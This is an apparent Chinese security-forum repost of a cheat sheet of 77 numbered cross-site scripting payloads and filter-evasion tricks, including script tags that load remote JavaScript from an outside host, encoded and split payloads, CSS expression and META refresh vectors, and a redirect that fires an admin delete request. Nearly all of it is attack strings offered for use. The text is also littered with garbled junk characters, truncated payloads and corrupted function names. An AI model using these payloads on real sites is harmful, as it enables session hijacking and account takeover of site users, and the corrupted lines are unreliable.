貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
0 Z$ _' O% { f/ u# I' o3 w& s8 c5 d, x, s# ?% O
(1)普通的XSS JavaScript注入
+ U3 A) M# e( L& c0 N$ r( [6 ? <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
4 f7 I+ v e+ Z5 ^9 S, a8 q! Q l' F' u" b. k
(2)IMG标签XSS使用JavaScript命令
8 p6 P0 E. c1 j. R9 L2 _+ Q$ O <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>, o R" z& x' Z% X* r* R
. q+ y# E/ I6 K1 j5 `4 H4 _* v (3)IMG标签无分号无引号
6 X) f; Y( L3 o <IMG SRC=javascript:alert(‘XSS’)>
1 \/ |; Z: H: A+ |* z
$ s$ O5 q5 f) s+ s& r- n' o, g (4)IMG标签大小写不敏感
% y/ O4 g: S8 _! \. i; L H) E7 I <IMG SRC=JaVaScRiPt:alert(‘XSS’)>' H4 w- W. M( K
8 u) ^2 b+ b2 ]9 t
(5)HTML编码(必须有分号); K! b$ R- ]# a
<IMG SRC=javascript:alert(“XSS”)>
) a' I6 M( h2 C1 R) n6 p
4 E3 o7 k- G7 l& s- A (6)修正缺陷IMG标签 W# }0 z* d6 X: a! y
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>7 Y5 d' N( J* J
% ^: n& V8 D c& \* [ (7)formCharCode标签(计算器)- w! O0 G, { [ @5 A; [6 j
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
3 m, Z* `4 v+ C. n) e4 f) _; g* M$ w& ^) |% T
(8)UTF-8的Unicode编码(计算器)6 k( d2 g8 h# D5 W2 m7 Y
<IMG SRC=jav..省略..S')>$ \) d' r( D! ^
2 k* s1 h! W; n6 ^
(9)7位的UTF-8的Unicode编码是没有分号的(计算器) \& z' ]) y. y @1 |" n7 S. {
<IMG SRC=jav..省略..S')>
' `5 N& X( q% {3 l) ~2 b4 O4 x% Z3 _ ? A: z
(10)十六进制编码也是没有分号(计算器)4 b3 u6 r+ c4 M& a' s
<IMG SRC=java..省略..XSS')>6 G7 @9 T w3 H+ C
" ~2 { l. M( _8 r1 g5 _
(11)嵌入式标签,将Javascript分开' W+ X+ Y1 e0 C6 a" f
<IMG SRC=”jav ascript:alert(‘XSS’);”>" [3 H& |* i0 z, ?# h
' |4 [/ H7 ^! D# o) k: {
(12)嵌入式编码标签,将Javascript分开
# y. S% `# J; f a/ r$ m J <IMG SRC=”jav ascript:alert(‘XSS’);”>
2 @, e0 B" d2 k o) |
- L' G. u1 a: ^2 u: u4 U( k- j (13)嵌入式换行符
/ g7 G! F4 V9 h/ t <IMG SRC=”jav ascript:alert(‘XSS’);”>) y! D- J- X ~1 L3 n
' b4 j! G" N7 F0 O (14)嵌入式回车
7 a! ?, A: q& b6 v <IMG SRC=”jav ascript:alert(‘XSS’);”>: D& I: A! i4 ^- [' r& l1 g7 g
M% x: p) w9 _( `
(15)嵌入式多行注入JavaScript,这是XSS极端的例子! `1 ]) v0 a |8 F
<IMG SRC=”javascript:alert(‘XSS‘)”>
% T; f: G- w3 a
: w' Z1 K+ t0 k+ V- I% P (16)解决限制字符(要求同页面), U' V2 r9 N7 q p L- C& h; ~
<script>z=’document.’</script>
, r; m' K2 s4 ` <script>z=z+’write(“‘</script>
" _4 c* C5 Q- Y, b3 @ g <script>z=z+’<script’</script>
( _1 i4 G: @: P* e% m( I5 u0 W <script>z=z+’ src=ht’</script>) V4 R. {) g9 \
<script>z=z+’tp://ww’</script>; ~6 P H l9 W" u
<script>z=z+’w.shell’</script>4 j$ L7 M' r" Q! K, D8 a
<script>z=z+’.net/1.’</script>
0 s) C- @2 v) L- D3 o5 K2 i+ ? <script>z=z+’js></sc’</script>$ x$ q- y2 {4 S; a, T
<script>z=z+’ript>”)’</script>
; ~; \0 W8 p5 p <script>eval_r(z)</script>
7 Q9 T$ f- P9 _5 p7 ^) _5 F6 d# k F3 c) F2 P
(17)空字符3 g4 C: q* l- P Z2 z
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
& G# X+ y1 {- _3 C/ w2 \+ W
% Z7 X% B( F* k6 v' h/ K (18)空字符2,空字符在国内基本没效果.因为没有地方可以利用7 C9 R: q7 b4 r+ C* O+ R- l/ ~1 f
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out' C3 k- z3 N! [+ B! x+ y) ]
3 } z& v8 R* d3 Y; t (19)Spaces和meta前的IMG标签
# `8 i4 J/ K0 P0 J( g5 ` <IMG SRC=” javascript:alert(‘XSS’);”>% R& b5 Q3 }1 B9 s9 {
+ z& z& d1 a8 F( s2 [ l# e (20)Non-alpha-non-digit XSS1 {+ J4 w% I! }1 v
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
/ j& o8 j( v4 u4 W6 j- M+ Q, l4 n( B2 A7 w1 D4 _ q
(21)Non-alpha-non-digit XSS to 2
# F. M; E! l" x1 M: L4 m; J0 i, s4 M <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
6 ~8 c/ j2 r0 L. {% K& N# o T; {, t* F, U* M5 K( ^! x: W
(22)Non-alpha-non-digit XSS to 3
9 b+ c8 E+ V' P! P6 a4 A6 k <SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT># D( J5 E6 v& Q Y: Q6 k+ @
( \0 f8 m: x$ I: O* b, w' D6 e, r$ e
(23)双开括号
/ A* [$ o( g# d8 e+ O <<SCRIPT>alert(“XSS”);//<</SCRIPT>9 Q9 |- ?- [0 [1 j
! H0 c# Q/ F8 _6 g* U
(24)无结束脚本标记(仅火狐等浏览器)9 G2 N' K$ A" E' [! U" y. Q
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>5 ?3 k2 T5 ^4 P% l3 j
* ]4 @/ O9 D6 ^" B# h
(25)无结束脚本标记2 T3 Z9 b" {4 i& ]$ a1 V9 A
<SCRIPT SRC=//3w.org/XSS/xss.js>$ r5 ?( `9 S& R2 }4 o
. L2 h8 C! B0 p3 E
(26)半开的HTML/JavaScript XSS! a' M! ?2 }$ W N: i
<IMG SRC=”javascript:alert(‘XSS’)”
5 _0 T9 _. _1 a# J4 |. c6 I v+ k; V/ r
(27)双开角括号- L( Y0 ?% |+ G" H) ~+ T' _
<iframe src=http://3w.org/XSS.html <0 e1 ]9 u2 l7 F7 O7 K2 [" e& {# Q
* s r3 n- b+ e: I+ z (28)无单引号 双引号 分号, ~, d1 ]% L' `: N2 V% H
<SCRIPT>a=/XSS/' C: m! K9 y* a/ l, \
alert(a.source)</SCRIPT>
/ Y. Y. I! h K& O- {7 v
6 |2 m' Q. U4 o% |5 {! ` (29)换码过滤的JavaScript' |0 X& y# s. e D' F7 G/ h
\”;alert(‘XSS’);//
: E0 t$ X' i% N. ?2 d p" e& e/ b y
(30)结束Title标签
, _. P( L2 V0 W </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
2 c5 p4 A" e% Z* j" v# F, d: H! _4 m7 ^* x0 x3 ^, E
(31)Input Image# Z- D6 |8 N# }
<INPUT SRC=”javascript:alert(‘XSS’);”>0 B* b1 [$ z, N' H$ }" f% G
6 |$ B1 G% P" ~5 H, l( }" q
(32)BODY Image6 k4 F2 _* }+ }1 \& u1 k# }7 ?
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
d, F' |, {. @) p- r* H
- r$ ]* |( Z3 v- G$ ?1 i* r& r (33)BODY标签6 A" D* E8 c. v# f4 Y
<BODY(‘XSS’)>
8 u0 C# g b! T) j/ z6 q1 R$ J* ~) B* x3 q# x0 o
(34)IMG Dynsrc
8 C# O& V4 V: m N" N <IMG DYNSRC=”javascript:alert(‘XSS’)”>. {1 I' s) F8 z D4 w3 Q
" Z4 M4 l) h9 D* |
(35)IMG Lowsrc
. W1 K' ~5 i7 \! s: s% [. g <IMG LOWSRC=”javascript:alert(‘XSS’)”>; h( v- \% b! m
& h9 W- S" \6 r: J3 e t (36)BGSOUND
; ^4 b) [# g1 { <BGSOUND SRC=”javascript:alert(‘XSS’);”>
4 J3 o" J! r$ D0 ]% r" {) M4 n, n2 Z/ y' {# t
(37)STYLE sheet
/ V/ p+ o4 m8 e% M <LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>. P, q, _7 b" k* k- B" _- n7 d
" v# X7 i' }) H0 O! } (38)远程样式表
$ j2 \5 K$ i# b2 C* s1 d <LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
5 X( Q) \% i& w8 M$ U7 ^
$ `" ^3 N5 s D0 x5 M5 k. i (39)List-style-image(列表式)( i6 L7 g( ~% A& P7 K& Z5 Y7 M
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
: U. x5 a1 L+ ]3 o
- B. j) h3 s4 Z' g0 R (40)IMG VBscript
$ U+ J6 ?" B6 K <IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
/ {5 v8 M0 a8 X
! ^- d1 t4 L' o6 L# S (41)META链接url, }% {- @6 O: l4 V
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>) e3 L4 k$ ?. T4 v! a0 Y; J, [
8 d& E% R: T+ b: a+ X6 `2 r' | (42)Iframe8 x3 L; B7 Y3 e% U
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>3 m( O( T. l3 D, v5 h
+ N' g, y7 ^. v% W9 {5 Q2 w (43)Frame5 J( r) v# s7 W+ i7 R7 V
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>2 `" x u; t5 |
6 X. R' {# t: {: j) y- H. x+ d (44)Table" g+ [4 \' g' f& v
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>, ?! s1 \, I9 L/ T* s! K& U- m; F
$ n8 s @+ @) p8 i0 P (45)TD
1 h6 Y$ p2 ^5 r <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
2 H! X; ]& @- b# m* R$ P8 \6 ?; c! T. @
(46)DIV background-image2 B5 D0 U$ Q+ z0 D+ Z8 ^
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
, W& @8 O t- q& ~/ [. P% F; _8 o M8 z; q9 N" J3 R# z" I
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)& Z! i4 m% r- \8 e0 [
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>! A* G3 Q! W6 L8 c
+ x W4 t( k- @$ i5 j4 P
(48)DIV expression# w- Z2 L% |7 P: z
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>0 s l* ^% f1 r- I# J& a
: k. g& q- k1 @7 G+ p' d- R (49)STYLE属性分拆表达2 p. @1 b* I' h1 C. l
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>* L/ U" J' ]3 _# F
# l% {! a$ L* N6 O, D7 C+ G
(50)匿名STYLE(组成:开角号和一个字母开头)
& Z/ m7 w1 W+ g2 b2 t0 n <XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
- J' {) ]5 t" H: Y/ S% t& V1 A
2 J+ m" ?! l6 u3 V+ Z0 q; b' K (51)STYLE background-image/ ^1 ]4 ]- \ |: Q* i' r. V- O9 a+ k: {
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>% H; D" Q; ?2 n I/ y* }
& n$ n2 f% Q0 n: A3 K! V (52)IMG STYLE方式6 J8 x. |! x4 F. X- [! e- p$ s
exppression(alert(“XSS”))’>
$ N1 b4 l/ }( W, ~
- s& d: Z0 N0 @ H/ V (53)STYLE background, B$ ~. J2 T6 r" R8 ?& e7 U8 S
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>" q- {2 I5 ~$ T6 A$ I9 L
5 \0 ^/ h0 J) A+ \3 [. {
(54)BASE
& w8 H( f- C5 d# N, @ <BASE HREF=”javascript:alert(‘XSS’);//”>( O8 T8 \2 z, K3 N- T3 \) T
$ J, Q) z" [9 t0 F6 B
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS2 v1 L- J1 `1 O
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
$ I9 T& w6 s. d5 h9 b; q$ L; |& g! \+ p7 r; a& {
(56)在flash中使用ActionScrpt可以混进你XSS的代码
4 X) S! S8 \' b/ h2 ]/ T$ H( m a=”get”;5 ]. v* K) Z9 ?: H
b=”URL(\”";
, i' C8 y/ P1 o, d8 P2 B c=”javascript:”;' n% J. o! S2 z$ y
d=”alert(‘XSS’);\”)”;7 s! g4 j* _' l% p
eval_r(a+b+c+d);/ w0 S0 |5 h5 _1 E, a; t9 K; f0 g7 h% D
, @6 l0 A% v; v: t
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
1 L/ W/ b0 T8 @- P2 l <HTML xmlns:xss>
# B2 } }& K9 z: T. M1 M% E/ } <?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>; t$ t, m5 a# T. i
<xss:xss>XSS</xss:xss>
8 y+ S* V0 q' F. r </HTML>
, ~! k3 s# U4 E4 U
8 d& v9 a7 R( v* { (58)如果过滤了你的JS你可以在图片里添加JS代码来利用; f5 H( b' N- i- J
<SCRIPT SRC=””></SCRIPT>; H7 B4 }7 t5 ?. u9 x e
7 R% f) V9 m1 Q (59)IMG嵌入式命令,可执行任意命令
. a) J( x+ P6 Y% ] Z0 E <IMG SRC=”http://www.XXX.com/a.php?a=b”>
; r* ]* d e h6 B. I0 S' V7 T/ @ [3 G) z( x! ]
(60)IMG嵌入式命令(a.jpg在同服务器)% [( O" y& j' @
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser1 I: m* _! i+ b9 c3 o
$ A# ?$ t6 W6 v' ]
(61)绕符号过滤6 o* a. N& Z( d& L
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>- K. M J% ], W/ K; ?0 q/ x1 m
" O, P* s2 }. ^! a" s& `. Q
(62)
0 b$ ?7 ^& ~5 W! V# V& L <SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>* p7 B9 v# \" W
* D; n$ Z8 @- j, _
(63)) M% l# p) H) R4 n
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
- {9 \0 }# k! G0 V/ O; `, s9 M4 K4 ^, s
(64)
" {$ r! Q f. R9 n <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>
) K2 v8 U7 ]+ s/ N4 U/ o
" F5 ~+ \- I @, I( [; l( r8 p (65)
- J" {9 d1 I/ X6 p( `0 Y; ] <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
/ x0 x) {1 ^/ S% L+ @8 N0 h% m
* `+ V/ o. V. x5 ~) l& _0 E (66)6 O9 C. |, s- l
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>$ r/ N7 {$ W, k! a' ]& k
- E& x$ e. p8 D1 y) _) z
(67)3 }& R7 F+ P' B. B- H- R
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>0 }! K9 H. ?4 q2 J" Q1 G" X
# l7 i% }( I4 Q8 D% S
(68)URL绕行0 r' h7 k# t( a* X1 l" b' L
<A HREF=”http://127.0.0.1/”>XSS</A>( d0 p6 M; S" U5 P
8 v% Z& X7 W/ t% ~9 R! ?
(69)URL编码
7 Z. ~2 ~4 I E& g1 w* N <A HREF=”http://3w.org”>XSS</A>
7 P$ n! y/ M3 n# |# A
2 M- Q7 O' {6 l5 P: k (70)IP十进制
# D8 T, H( G' a; v8 N' m <A HREF=”http://3232235521″>XSS</A>9 Z! R: o3 l. E; M1 [4 `
5 m2 {, s+ L: G (71)IP十六进制9 @$ E ^9 g8 W9 l; P$ h7 e
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
' z$ d* e4 b4 I# J$ [" J' h6 [$ D4 x% j. }1 o5 i' ^/ H
(72)IP八进制
9 f$ @% ^; ]9 v% J <A HREF=”http://0300.0250.0000.0001″>XSS</A>6 A, U: a9 `9 ^4 C! w0 v
8 K6 g) o+ J* b/ [
(73)混合编码
. o9 `8 d! P" H( S( s <A HREF=”h
: K; k2 q: k( l( t2 }" N& U tt p://6 6.000146.0×7.147/”">XSS</A> x7 X: P9 f5 p6 @
4 B7 E7 ?3 S6 O6 g. A (74)节省[http:]
' x6 w1 R8 Y/ h; `" f0 U <A HREF=”//www.google.com/”>XSS</A>) @) G7 [! O4 {6 h* [8 X
* s T! L6 l! U1 L (75)节省[www]
" ]: K0 a2 H2 C( ]- x. e <A HREF=”http://google.com/”>XSS</A>; S5 f d( e$ Z4 ]
7 e& g" r3 v! V6 R
(76)绝对点绝对DNS
2 c. ]7 }$ G; h7 X% q <A HREF=”http://www.google.com./”>XSS</A>
: k' H; e; Y- a) O$ s" J+ l: U0 L
(77)javascript链接
0 ^! M/ V0 ?' {* s9 q/ J3 ?4 N) ^ <A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |